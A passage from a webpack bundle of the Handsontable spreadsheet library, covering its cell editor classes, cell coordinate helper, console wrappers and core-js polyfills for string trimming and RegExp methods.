(metaBorders) { if (direction) { if (!(0, _object.hasOwnProperty)(metaBorders[direction], 'hide') || metaBorders[direction].hide === false) { atLeastOneHasBorder = true; return false; // breaks forAll } } else { atLeastOneHasBorder = true; return false; // breaks forAll } } }); }); return atLeastOneHasBorder; } /** * Mark label in contextMenu as selected. * * @param label * @returns {string} */ function markSelected(label) { return "".concat(String.fromCharCode(10003), "").concat(label); // workaround for https://github.com/handsontable/handsontable/issues/1946 } /***/ }), /* 70 */ /***/ (function(module, exports, __webpack_require__) { // fallback for non-array-like ES3 and non-enumerable old V8 strings var cof = __webpack_require__(39); // eslint-disable-next-line no-prototype-builtins module.exports = Object('z').propertyIsEnumerable(0) ? Object : function (it) { return cof(it) == 'String' ? it.split('') : Object(it); }; /***/ }), /* 71 */ /***/ (function(module, exports) { exports.f = {}.propertyIsEnumerable; /***/ }), /* 72 */ /***/ (function(module, exports, __webpack_require__) { // getting tag from 19.1.3.6 Object.prototype.toString() var cof = __webpack_require__(39); var TAG = __webpack_require__(12)('toStringTag'); // ES3 wrong here var ARG = cof(function () { return arguments; }()) == 'Arguments'; // fallback for IE11 Script Access Denied error var tryGet = function (it, key) { try { return it[key]; } catch (e) { /* empty */ } }; module.exports = function (it) { var O, T, B; return it === undefined ? 'Undefined' : it === null ? 'Null' // @@toStringTag case : typeof (T = tryGet(O = Object(it), TAG)) == 'string' ? T // builtinTag case : ARG ? cof(O) // ES3 arguments fallback : (B = cof(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : B; }; /***/ }), /* 73 */ /***/ (function(module, exports, __webpack_require__) { // 7.3.20 SpeciesConstructor(O, defaultConstructor) var anObject = __webpack_require__(5); var aFunction = __webpack_require__(38); var SPECIES = __webpack_require__(12)('species'); module.exports = function (O, D) { var C = anObject(O).constructor; var S; return C === undefined || (S = anObject(C)[SPECIES]) == undefined ? D : aFunction(S); }; /***/ }), /* 74 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = exports.EditorState = void 0; var _src = __webpack_require__(8); var _mixed = __webpack_require__(14); var EditorState = { VIRGIN: 'STATE_VIRGIN', // before editing EDITING: 'STATE_EDITING', WAITING: 'STATE_WAITING', // waiting for async validation FINISHED: 'STATE_FINISHED' }; /** * @util * @class BaseEditor */ exports.EditorState = EditorState; function BaseEditor(instance) { this.instance = instance; this.state = EditorState.VIRGIN; this._opened = false; this._fullEditMode = false; this._closeCallback = null; this.init(); } BaseEditor.prototype._fireCallbacks = function (result) { if (this._closeCallback) { this._closeCallback(result); this._closeCallback = null; } }; BaseEditor.prototype.init = function () {}; BaseEditor.prototype.getValue = function () { throw Error('Editor getValue() method unimplemented'); }; BaseEditor.prototype.setValue = function () { throw Error('Editor setValue() method unimplemented'); }; BaseEditor.prototype.open = function () { throw Error('Editor open() method unimplemented'); }; BaseEditor.prototype.close = function () { throw Error('Editor close() method unimplemented'); }; BaseEditor.prototype.prepare = function (row, col, prop, td, originalValue, cellProperties) { this.TD = td; this.row = row; this.col = col; this.prop = prop; this.originalValue = originalValue; this.cellProperties = cellProperties; this.state = EditorState.VIRGIN; }; BaseEditor.prototype.extend = function () { var baseClass = this.constructor; function Editor() { for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } baseClass.apply(this, args); } function inherit(Child, Parent) { function Bridge() {} Bridge.prototype = Parent.prototype; Child.prototype = new Bridge(); Child.prototype.constructor = Child; return Child; } return inherit(Editor, baseClass); }; BaseEditor.prototype.saveValue = function (value, ctrlDown) { var selection; var tmp; // if ctrl+enter and multiple cells selected, behave like Excel (finish editing and apply to all cells) if (ctrlDown) { selection = this.instance.getSelectedLast(); if (selection[0] > selection[2]) { tmp = selection[0]; selection[0] = selection[2]; selection[2] = tmp; } if (selection[1] > selection[3]) { tmp = selection[1]; selection[1] = selection[3]; selection[3] = tmp; } } else { selection = [this.row, this.col, null, null]; } this.instance.populateFromArray(selection[0], selection[1], value, selection[2], selection[3], 'edit'); }; BaseEditor.prototype.beginEditing = function (newInitialValue, event) { if (this.state !== EditorState.VIRGIN) { return; } this.instance.view.scrollViewport(new _src.CellCoords(this.row, this.col)); this.state = EditorState.EDITING; // Set the editor value only in the full edit mode. In other mode the focusable element has to be empty, // otherwise IME (editor for Asia users) doesn't work. if (this.isInFullEditMode()) { var stringifiedInitialValue = typeof newInitialValue === 'string' ? newInitialValue : (0, _mixed.stringify)(this.originalValue); this.setValue(stringifiedInitialValue); } this.open(event); this._opened = true; this.focus(); // only rerender the selections (FillHandle should disappear when beginediting is triggered) this.instance.view.render(); this.instance.runHooks('afterBeginEditing', this.row, this.col); }; BaseEditor.prototype.finishEditing = function (restoreOriginalValue, ctrlDown, callback) { var _this = this; var val; if (callback) { var previousCloseCallback = this._closeCallback; this._closeCallback = function (result) { if (previousCloseCallback) { previousCloseCallback(result); } callback(result); _this.instance.view.render(); }; } if (this.isWaiting()) { return; } if (this.state === EditorState.VIRGIN) { this.instance._registerTimeout(function () { _this._fireCallbacks(true); }); return; } if (this.state === EditorState.EDITING) { if (restoreOriginalValue) { this.cancelChanges(); this.instance.view.render(); return; } var value = this.getValue(); if (this.instance.getSettings().trimWhitespace) { // We trim only string values val = [[typeof value === 'string' ? String.prototype.trim.call(value || '') : value]]; } else { val = [[value]]; } this.state = EditorState.WAITING; this.saveValue(val, ctrlDown); if (this.instance.getCellValidator(this.cellProperties)) { this.instance.addHookOnce('postAfterValidate', function (result) { _this.state = EditorState.FINISHED; _this.discardEditor(result); }); } else { this.state = EditorState.FINISHED; this.discardEditor(true); } } }; BaseEditor.prototype.cancelChanges = function () { this.state = EditorState.FINISHED; this.discardEditor(); }; BaseEditor.prototype.discardEditor = function (result) { if (this.state !== EditorState.FINISHED) { return; } // validator was defined and failed if (result === false && this.cellProperties.allowInvalid !== true) { this.instance.selectCell(this.row, this.col); this.focus(); this.state = EditorState.EDITING; this._fireCallbacks(false); } else { this.close(); this._opened = false; this._fullEditMode = false; this.state = EditorState.VIRGIN; this._fireCallbacks(true); } }; /** * Switch editor into full edit mode. In this state navigation keys don't close editor. This mode is activated * automatically after hit ENTER or F2 key on the cell or while editing cell press F2 key. */ BaseEditor.prototype.enableFullEditMode = function () { this._fullEditMode = true; }; /** * Checks if editor is in full edit mode. * * @returns {Boolean} */ BaseEditor.prototype.isInFullEditMode = function () { return this._fullEditMode; }; BaseEditor.prototype.isOpened = function () { return this._opened; }; BaseEditor.prototype.isWaiting = function () { return this.state === EditorState.WAITING; }; BaseEditor.prototype.checkEditorSection = function () { var totalRows = this.instance.countRows(); var section = ''; if (this.row < this.instance.getSettings().fixedRowsTop) { if (this.col < this.instance.getSettings().fixedColumnsLeft) { section = 'top-left-corner'; } else { section = 'top'; } } else if (this.instance.getSettings().fixedRowsBottom && this.row >= totalRows - this.instance.getSettings().fixedRowsBottom) { if (this.col < this.instance.getSettings().fixedColumnsLeft) { section = 'bottom-left-corner'; } else { section = 'bottom'; } } else if (this.col < this.instance.getSettings().fixedColumnsLeft) { section = 'left'; } return section; }; var _default = BaseEditor; exports.default = _default; /***/ }), /* 75 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * CellCoords holds cell coordinates (row, column) and few method to validate them and retrieve as an array or an object. * * @util */ var CellCoords = /*#__PURE__*/ function () { function CellCoords(row, column) { _classCallCheck(this, CellCoords); /** * Row index. * * @type {Number} */ this.row = null; /** * Column index. * * @type {Number} */ this.col = null; if (typeof row !== 'undefined' && typeof column !== 'undefined') { this.row = row; this.col = column; } } /** * Checks if given set of coordinates is valid in context of a given Walkontable instance. * * @param {Walkontable} wot A Walkontable instance. * @returns {Boolean} */ _createClass(CellCoords, [{ key: "isValid", value: function isValid(wot) { // is it a valid cell index (0 or higher) if (this.row < 0 || this.col < 0) { return false; } // is selection within total rows and columns if (this.row >= wot.getSetting('totalRows') || this.col >= wot.getSetting('totalColumns')) { return false; } return true; } /** * Checks if this cell coordinates are the same as cell coordinates given as an argument. * * @param {CellCoords} cellCoords Cell coordinates to equal. * @returns {Boolean} */ }, { key: "isEqual", value: function isEqual(cellCoords) { if (cellCoords === this) { return true; } return this.row === cellCoords.row && this.col === cellCoords.col; } /** * Checks if tested coordinates are positioned in south-east from this cell coordinates. * * @param {Object} testedCoords Cell coordinates to check. * @returns {Boolean} */ }, { key: "isSouthEastOf", value: function isSouthEastOf(testedCoords) { return this.row >= testedCoords.row && this.col >= testedCoords.col; } /** * Checks if tested coordinates are positioned in north-east from this cell coordinates. * * @param {Object} testedCoords Cell coordinates to check. * @returns {Boolean} */ }, { key: "isNorthWestOf", value: function isNorthWestOf(testedCoords) { return this.row <= testedCoords.row && this.col <= testedCoords.col; } /** * Checks if tested coordinates are positioned in south-west from this cell coordinates. * * @param {Object} testedCoords Cell coordinates to check. * @returns {Boolean} */ }, { key: "isSouthWestOf", value: function isSouthWestOf(testedCoords) { return this.row >= testedCoords.row && this.col <= testedCoords.col; } /** * Checks if tested coordinates are positioned in north-east from this cell coordinates. * * @param {Object} testedCoords Cell coordinates to check. * @returns {Boolean} */ }, { key: "isNorthEastOf", value: function isNorthEastOf(testedCoords) { return this.row <= testedCoords.row && this.col >= testedCoords.col; } /** * Converts CellCoords to literal object with `row` and `col` properties. * * @return {Object} Returns a literal object with `row` and `col` properties. */ }, { key: "toObject", value: function toObject() { return { row: this.row, col: this.col }; } }]); return CellCoords; }(); var _default = CellCoords; exports.default = _default; /***/ }), /* 76 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.log = log; exports.warn = warn; exports.info = info; exports.error = error; var _mixed = __webpack_require__(14); /* eslint-disable no-console */ /* eslint-disable no-restricted-globals */ /** * "In Internet Explorer 9 (and 8), the console object is only exposed when the developer tools are opened * for a particular tab." * * Source: https://stackoverflow.com/a/5473193 */ /** * Logs message to the console if the `console` object is exposed. * * @param {...*} args Values which will be logged. */ function log() { if ((0, _mixed.isDefined)(console)) { var _console; (_console = console).log.apply(_console, arguments); } } /** * Logs warn to the console if the `console` object is exposed. * * @param {...*} args Values which will be logged. */ function warn() { if ((0, _mixed.isDefined)(console)) { var _console2; (_console2 = console).warn.apply(_console2, arguments); } } /** * Logs info to the console if the `console` object is exposed. * * @param {...*} args Values which will be logged. */ function info() { if ((0, _mixed.isDefined)(console)) { var _console3; (_console3 = console).info.apply(_console3, arguments); } } /** * Logs error to the console if the `console` object is exposed. * * @param {...*} args Values which will be logged. */ function error() { if ((0, _mixed.isDefined)(console)) { var _console4; (_console4 = console).error.apply(_console4, arguments); } } /***/ }), /* 77 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _autoResize = _interopRequireDefault(__webpack_require__(613)); var _browser = __webpack_require__(42); var _baseEditor = _interopRequireWildcard(__webpack_require__(74)); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _unicode = __webpack_require__(32); var _event = __webpack_require__(18); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var TextEditor = _baseEditor.default.prototype.extend(); /** * @private * @editor TextEditor * @class TextEditor * @dependencies autoResize */ TextEditor.prototype.init = function () { var that = this; this.createElements(); this.eventManager = new _eventManager.default(this); this.bindEvents(); this.autoResize = (0, _autoResize.default)(); this.holderZIndex = -1; this.instance.addHook('afterDestroy', function () { that.destroy(); }); }; TextEditor.prototype.prepare = function (row, col, prop, td, originalValue, cellProperties) { var _this = this; var previousState = this.state; for (var _len = arguments.length, args = new Array(_len > 6 ? _len - 6 : 0), _key = 6; _key < _len; _key++) { args[_key - 6] = arguments[_key]; } _baseEditor.default.prototype.prepare.apply(this, [row, col, prop, td, originalValue, cellProperties].concat(args)); if (!cellProperties.readOnly) { this.refreshDimensions(true); var allowInvalid = cellProperties.allowInvalid, fragmentSelection = cellProperties.fragmentSelection; if (allowInvalid) { this.TEXTAREA.value = ''; // Remove an empty space from texarea (added by copyPaste plugin to make copy/paste functionality work with IME) } if (previousState !== _baseEditor.EditorState.FINISHED) { this.hideEditableElement(); } // @TODO: The fragmentSelection functionality is conflicted with IME. For this feature refocus has to // be disabled (to make IME working). var restoreFocus = !fragmentSelection; if (restoreFocus && !(0, _browser.isMobileBrowser)()) { this.instance._registerImmediate(function () { return _this.focus(); }); } } }; TextEditor.prototype.hideEditableElement = function () { this.textareaParentStyle.top = '-9999px'; this.textareaParentStyle.left = '-9999px'; this.textareaParentStyle.zIndex = '-1'; this.textareaParentStyle.position = 'fixed'; }; TextEditor.prototype.showEditableElement = function () { this.textareaParentStyle.zIndex = this.holderZIndex >= 0 ? this.holderZIndex : ''; this.textareaParentStyle.position = ''; }; TextEditor.prototype.getValue = function () { return this.TEXTAREA.value; }; TextEditor.prototype.setValue = function (newValue) { this.TEXTAREA.value = newValue; }; TextEditor.prototype.beginEditing = function () { if (this.state !== _baseEditor.EditorState.VIRGIN) { return; } this.TEXTAREA.value = ''; // Remove an empty space from texarea (added by copyPaste plugin to make copy/paste functionality work with IME). for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) { args[_key2] = arguments[_key2]; } _baseEditor.default.prototype.beginEditing.apply(this, args); }; var onBeforeKeyDown = function onBeforeKeyDown(event) { var instance = this; var that = instance.getActiveEditor(); // catch CTRL but not right ALT (which in some systems triggers ALT+CTRL) var ctrlDown = (event.ctrlKey || event.metaKey) && !event.altKey; // Process only events that have been fired in the editor if (event.target !== that.TEXTAREA || (0, _event.isImmediatePropagationStopped)(event)) { return; } switch (event.keyCode) { case _unicode.KEY_CODES.ARROW_RIGHT: if (that.isInFullEditMode()) { if (!that.isWaiting() && !that.allowKeyEventPropagation || !that.isWaiting() && that.allowKeyEventPropagation && !that.allowKeyEventPropagation(event.keyCode)) { (0, _event.stopImmediatePropagation)(event); } } break; case _unicode.KEY_CODES.ARROW_LEFT: if (that.isInFullEditMode()) { if (!that.isWaiting() && !that.allowKeyEventPropagation || !that.isWaiting() && that.allowKeyEventPropagation && !that.allowKeyEventPropagation(event.keyCode)) { (0, _event.stopImmediatePropagation)(event); } } break; case _unicode.KEY_CODES.ARROW_UP: case _unicode.KEY_CODES.ARROW_DOWN: if (that.isInFullEditMode()) { if (!that.isWaiting() && !that.allowKeyEventPropagation || !that.isWaiting() && that.allowKeyEventPropagation && !that.allowKeyEventPropagation(event.keyCode)) { (0, _event.stopImmediatePropagation)(event); } } break; case _unicode.KEY_CODES.ENTER: { var isMultipleSelection = this.selection.isMultiple(); if (ctrlDown && !isMultipleSelection || event.altKey) { // if ctrl+enter or alt+enter, add new line if (that.isOpened()) { var caretPosition = (0, _element.getCaretPosition)(that.TEXTAREA); var value = that.getValue(); var newValue = "".concat(value.slice(0, caretPosition), "\n").concat(value.slice(caretPosition)); that.setValue(newValue); (0, _element.setCaretPosition)(that.TEXTAREA, caretPosition + 1); } else { that.beginEditing("".concat(that.originalValue, "\n")); } (0, _event.stopImmediatePropagation)(event); } event.preventDefault(); // don't add newline to field break; } case _unicode.KEY_CODES.BACKSPACE: case _unicode.KEY_CODES.DELETE: case _unicode.KEY_CODES.HOME: case _unicode.KEY_CODES.END: (0, _event.stopImmediatePropagation)(event); // backspace, delete, home, end should only work locally when cell is edited (not in table context) break; default: break; } if ([_unicode.KEY_CODES.ARROW_UP, _unicode.KEY_CODES.ARROW_RIGHT, _unicode.KEY_CODES.ARROW_DOWN, _unicode.KEY_CODES.ARROW_LEFT].indexOf(event.keyCode) === -1) { that.autoResize.resize(String.fromCharCode(event.keyCode)); } }; TextEditor.prototype.open = function () { this.refreshDimensions(); // need it instantly, to prevent https://github.com/handsontable/handsontable/issues/348 this.showEditableElement(); this.instance.addHook('beforeKeyDown', onBeforeKeyDown); }; TextEditor.prototype.close = function () { this.autoResize.unObserve(); if (document.activeElement === this.TEXTAREA) { this.instance.listen(); // don't refocus the table if user focused some cell outside of HT on purpose } this.hideEditableElement(); this.instance.removeHook('beforeKeyDown', onBeforeKeyDown); }; TextEditor.prototype.focus = function () { // For IME editor textarea element must be focused using ".select" method. Using ".focus" browser automatically scroll into // the focused element which is undesire effect. this.TEXTAREA.select(); (0, _element.setCaretPosition)(this.TEXTAREA, this.TEXTAREA.value.length); }; TextEditor.prototype.createElements = function () { this.TEXTAREA = document.createElement('TEXTAREA'); this.TEXTAREA.tabIndex = -1; (0, _element.addClass)(this.TEXTAREA, 'handsontableInput'); this.textareaStyle = this.TEXTAREA.style; this.textareaStyle.width = 0; this.textareaStyle.height = 0; this.TEXTAREA_PARENT = document.createElement('DIV'); (0, _element.addClass)(this.TEXTAREA_PARENT, 'handsontableInputHolder'); this.textareaParentStyle = this.TEXTAREA_PARENT.style; this.textareaParentStyle.zIndex = '-1'; this.TEXTAREA_PARENT.appendChild(this.TEXTAREA); this.instance.rootElement.appendChild(this.TEXTAREA_PARENT); }; TextEditor.prototype.getEditedCell = function () { var editorSection = this.checkEditorSection(); var editedCell; switch (editorSection) { case 'top': editedCell = this.instance.view.wt.wtOverlays.topOverlay.clone.wtTable.getCell({ row: this.row, col: this.col }); this.holderZIndex = 101; break; case 'top-left-corner': editedCell = this.instance.view.wt.wtOverlays.topLeftCornerOverlay.clone.wtTable.getCell({ row: this.row, col: this.col }); this.holderZIndex = 103; break; case 'bottom-left-corner': editedCell = this.instance.view.wt.wtOverlays.bottomLeftCornerOverlay.clone.wtTable.getCell({ row: this.row, col: this.col }); this.holderZIndex = 103; break; case 'left': editedCell = this.instance.view.wt.wtOverlays.leftOverlay.clone.wtTable.getCell({ row: this.row, col: this.col }); this.holderZIndex = 102; break; case 'bottom': editedCell = this.instance.view.wt.wtOverlays.bottomOverlay.clone.wtTable.getCell({ row: this.row, col: this.col }); this.holderZIndex = 102; break; default: editedCell = this.instance.getCell(this.row, this.col); this.holderZIndex = -1; break; } return editedCell !== -1 && editedCell !== -2 ? editedCell : void 0; }; TextEditor.prototype.refreshValue = function () { var physicalRow = this.instance.toPhysicalRow(this.row); var sourceData = this.instance.getSourceDataAtCell(physicalRow, this.col); this.originalValue = sourceData; this.setValue(sourceData); this.refreshDimensions(); }; TextEditor.prototype.refreshDimensions = function () { var force = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; if (this.state !== _baseEditor.EditorState.EDITING && !force) { return; } this.TD = this.getEditedCell(); // TD is outside of the viewport. if (!this.TD) { if (!force) { this.close(true); } return; } var currentOffset = (0, _element.offset)(this.TD); var containerOffset = (0, _element.offset)(this.instance.rootElement); var scrollableContainerTop = this.instance.view.wt.wtOverlays.topOverlay.mainTableScrollableElement; var scrollableContainerLeft = this.instance.view.wt.wtOverlays.leftOverlay.mainTableScrollableElement; var totalRowsCount = this.instance.countRows(); var containerScrollTop = scrollableContainerTop !== window ? scrollableContainerTop.scrollTop : 0; var containerScrollLeft = scrollableContainerLeft !== window ? scrollableContainerLeft.scrollLeft : 0; var editorSection = this.checkEditorSection(); var scrollTop = ['', 'left'].includes(editorSection) ? containerScrollTop : 0; var scrollLeft = ['', 'top', 'bottom'].includes(editorSection) ? containerScrollLeft : 0; // If colHeaders is disabled, cells in the first row have border-top var editTopModifier = currentOffset.top === containerOffset.top ? 0 : 1; var settings = this.instance.getSettings(); var colHeadersCount = this.instance.hasColHeaders(); var backgroundColor = this.TD.style.backgroundColor; var editTop = currentOffset.top - containerOffset.top - editTopModifier - scrollTop; var editLeft = currentOffset.left - containerOffset.left - 1 - scrollLeft; var cssTransformOffset; // TODO: Refactor this to the new instance.getCell method (from #ply-59), after 0.12.1 is released switch (editorSection) { case 'top': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.topOverlay.clone.wtTable.holder.parentNode); break; case 'left': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.leftOverlay.clone.wtTable.holder.parentNode); break; case 'top-left-corner': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.topLeftCornerOverlay.clone.wtTable.holder.parentNode); break; case 'bottom-left-corner': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.bottomLeftCornerOverlay.clone.wtTable.holder.parentNode); break; case 'bottom': cssTransformOffset = (0, _element.getCssTransform)(this.instance.view.wt.wtOverlays.bottomOverlay.clone.wtTable.holder.parentNode); break; default: break; } if (colHeadersCount && this.instance.getSelectedLast()[0] === 0 || settings.fixedRowsBottom && this.instance.getSelectedLast()[0] === totalRowsCount - settings.fixedRowsBottom) { editTop += 1; } if (this.instance.getSelectedLast()[1] === 0) { editLeft += 1; } if (cssTransformOffset && cssTransformOffset !== -1) { this.textareaParentStyle[cssTransformOffset[0]] = cssTransformOffset[1]; } else { (0, _element.resetCssTransform)(this.TEXTAREA_PARENT); } this.textareaParentStyle.top = "".concat(editTop, "px"); this.textareaParentStyle.left = "".concat(editLeft, "px"); this.showEditableElement(); var firstRowOffset = this.instance.view.wt.wtViewport.rowsRenderCalculator.startPosition; var firstColumnOffset = this.instance.view.wt.wtViewport.columnsRenderCalculator.startPosition; var horizontalScrollPosition = this.instance.view.wt.wtOverlays.leftOverlay.getScrollPosition(); var verticalScrollPosition = this.instance.view.wt.wtOverlays.topOverlay.getScrollPosition(); var scrollbarWidth = (0, _element.getScrollbarWidth)(); var cellTopOffset = this.TD.offsetTop + firstRowOffset - verticalScrollPosition; var cellLeftOffset = this.TD.offsetLeft + firstColumnOffset - horizontalScrollPosition; var width = (0, _element.innerWidth)(this.TD) - 8; var actualVerticalScrollbarWidth = (0, _element.hasVerticalScrollbar)(scrollableContainerTop) ? scrollbarWidth : 0; var actualHorizontalScrollbarWidth = (0, _element.hasHorizontalScrollbar)(scrollableContainerLeft) ? scrollbarWidth : 0; var maxWidth = this.instance.view.maximumVisibleElementWidth(cellLeftOffset) - 9 - actualVerticalScrollbarWidth; var height = this.TD.scrollHeight + 1; var maxHeight = Math.max(this.instance.view.maximumVisibleElementHeight(cellTopOffset) - actualHorizontalScrollbarWidth, 23); var cellComputedStyle = (0, _element.getComputedStyle)(this.TD); this.TEXTAREA.style.fontSize = cellComputedStyle.fontSize; this.TEXTAREA.style.fontFamily = cellComputedStyle.fontFamily; this.TEXTAREA.style.backgroundColor = backgroundColor; this.autoResize.init(this.TEXTAREA, { minHeight: Math.min(height, maxHeight), maxHeight: maxHeight, // TEXTAREA should never be higher than visible part of the viewport (should not cover the scrollbar) minWidth: Math.min(width, maxWidth), maxWidth: maxWidth // TEXTAREA should never be wider than visible part of the viewport (should not cover the scrollbar) }, true); }; TextEditor.prototype.bindEvents = function () { var editor = this; this.eventManager.addEventListener(this.TEXTAREA, 'cut', function (event) { (0, _event.stopPropagation)(event); }); this.eventManager.addEventListener(this.TEXTAREA, 'paste', function (event) { (0, _event.stopPropagation)(event); }); this.instance.addHook('afterScrollHorizontally', function () { editor.refreshDimensions(); }); this.instance.addHook('afterScrollVertically', function () { editor.refreshDimensions(); }); this.instance.addHook('afterColumnResize', function () { editor.refreshDimensions(); editor.focus(); }); this.instance.addHook('afterRowResize', function () { editor.refreshDimensions(); editor.focus(); }); this.instance.addHook('afterDestroy', function () { editor.eventManager.destroy(); }); }; TextEditor.prototype.destroy = function () { this.eventManager.destroy(); }; var _default = TextEditor; exports.default = _default; /***/ }), /* 78 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; var _registry = __webpack_require__(433); exports.registerRootComparator = _registry.registerRootComparator; exports.getRootComparator = _registry.getRootComparator; exports.getCompareFunctionFactory = _registry.getCompareFunctionFactory; var _engine = __webpack_require__(679); exports.FIRST_AFTER_SECOND = _engine.FIRST_AFTER_SECOND; exports.FIRST_BEFORE_SECOND = _engine.FIRST_BEFORE_SECOND; exports.DO_NOT_SWAP = _engine.DO_NOT_SWAP; exports.sort = _engine.sort; /***/ }), /* 79 */ /***/ (function(module, exports, __webpack_require__) { // false -> Array#indexOf // true -> Array#includes var toIObject = __webpack_require__(29); var toLength = __webpack_require__(16); var toAbsoluteIndex = __webpack_require__(54); module.exports = function (IS_INCLUDES) { return function ($this, el, fromIndex) { var O = toIObject($this); var length = toLength(O.length); var index = toAbsoluteIndex(fromIndex, length); var value; // Array#includes uses SameValueZero equality algorithm // eslint-disable-next-line no-self-compare if (IS_INCLUDES && el != el) while (length > index) { value = O[index++]; // eslint-disable-next-line no-self-compare if (value != value) return true; // Array#indexOf ignores holes, Array#includes - not } else for (;length > index; index++) if (IS_INCLUDES || index in O) { if (O[index] === el) return IS_INCLUDES || index || 0; } return !IS_INCLUDES && -1; }; }; /***/ }), /* 80 */ /***/ (function(module, exports) { exports.f = Object.getOwnPropertySymbols; /***/ }), /* 81 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); var defined = __webpack_require__(40); var fails = __webpack_require__(4); var spaces = __webpack_require__(100); var space = '[' + spaces + ']'; var non = '\u200b\u0085'; var ltrim = RegExp('^' + space + space + '*'); var rtrim = RegExp(space + space + '*$'); var exporter = function (KEY, exec, ALIAS) { var exp = {}; var FORCE = fails(function () { return !!spaces[KEY]() || non[KEY]() != non; }); var fn = exp[KEY] = FORCE ? exec(trim) : spaces[KEY]; if (ALIAS) exp[ALIAS] = fn; $export($export.P + $export.F * FORCE, 'String', exp); }; // 1 -> String#trimLeft // 2 -> String#trimRight // 3 -> String#trim var trim = exporter.trim = function (string, TYPE) { string = String(defined(string)); if (TYPE & 1) string = string.replace(ltrim, ''); if (TYPE & 2) string = string.replace(rtrim, ''); return string; }; module.exports = exporter; /***/ }), /* 82 */ /***/ (function(module, exports, __webpack_require__) { var ITERATOR = __webpack_require__(12)('iterator'); var SAFE_CLOSING = false; try { var riter = [7][ITERATOR](); riter['return'] = function () { SAFE_CLOSING = true; }; // eslint-disable-next-line no-throw-literal Array.from(riter, function () { throw 2; }); } catch (e) { /* empty */ } module.exports = function (exec, skipClosing) { if (!skipClosing && !SAFE_CLOSING) return false; var safe = false; try { var arr = [7]; var iter = arr[ITERATOR](); iter.next = function () { return { done: safe = true }; }; arr[ITERATOR] = function () { return iter; }; exec(arr); } catch (e) { /* empty */ } return safe; }; /***/ }), /* 83 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 21.2.5.3 get RegExp.prototype.flags var anObject = __webpack_require__(5); module.exports = function () { var that = anObject(this); var result = ''; if (that.global) result += 'g'; if (that.ignoreCase) result += 'i'; if (that.multiline) result += 'm'; if (that.unicode) result += 'u'; if (that.sticky) result += 'y'; return result; }; /***/ }), /* 84 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var classof = __webpack_require__(72); var builtinExec = RegExp.prototype.exec; // `RegExpExec` abstract operation // https://tc39.github.io/ecma262/#sec-regexpexec module.exports = function (R, S) { var exec = R.exec; if (typeof exec === 'function') { var result = exec.call(R, S); if (typeof result !== 'object') { throw new TypeError('RegExp exec method returned something other than an Object or null'); } return result; } if (classof(R) !== 'RegExp') { throw new TypeError('RegExp#exec called on incompatible receiver'); } return builtinExec.call(R, S); }; /***/ }), /* 85 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; __webpack_require__(149); var redefine = __webpack_require__(23); var hide = __webpack_require__(28); var fails = __webpack_require__(4); var defined = __webpack_require__(40); var wks = __webpack_require__(12); var regexpExec = __webpack_require__(115); var SPECIES = wks('species'); var REPLACE_SUPPORTS_NAMED_GROUPS = !fails(function () { // #replace needs built-in support for named groups. // #match works fine because it just return the exec results, even if it has // a "grops" property. var re = /./; re.exec = function () { var result = []; result.groups = { a: '7' }; return result; }; return ''.replace(re, '$
          ') !== '7'; }); var SPLIT_WORKS_WITH_OVERWRITTEN_EXEC = (function () { // Chrome 51 has a buggy "split" implementation when RegExp#exec !== nativeExec var re = /(?:)/; var originalExec = re.exec; re.exec = function () { return originalExec.apply(this, arguments); }; var result = 'ab'.split(re); return result.length === 2 && result[0] === 'a' && result[1] === 'b'; })(); module.exports = function (KEY, length, exec) { var SYMBOL = wks(KEY); var DELEGATES_TO_SYMBOL = !fails(function () { // String methods call symbol-named RegEp methods var O = {}; O[SYMBOL] = function () { return 7; }; return ''[KEY](O) != 7; }); var DELEGATES_TO_EXEC = DELEGATES_TO_SYMBOL ? !fails(function () { // Symbol-named RegExp methods call .exec var execCalled = false; var re = /a/; re.exec = function () { execCalled = true; return null; }; if (KEY === 'split') { // RegExp[@@split] doesn't call the regex's exec method, but first creates // a new one. We need to return the patched regex when creating the new one. re.constructor = {}; re.constructor[SPECIES] = function () { return re; }; } re[SYMBOL](''); return !execCalled; }) : undefined; if ( !DELEGATES_TO_SYMBOL || !DELEGATES_TO_EXEC || (KEY === 'replace' && !REPLACE_SUPPORTS_NAMED_GROUPS) || (KEY === 'split' && !SPLIT_WORKS_WITH_OVERWRITTEN_EXEC) ) { var nativeRegExpMethod = /./[SYMBOL]; 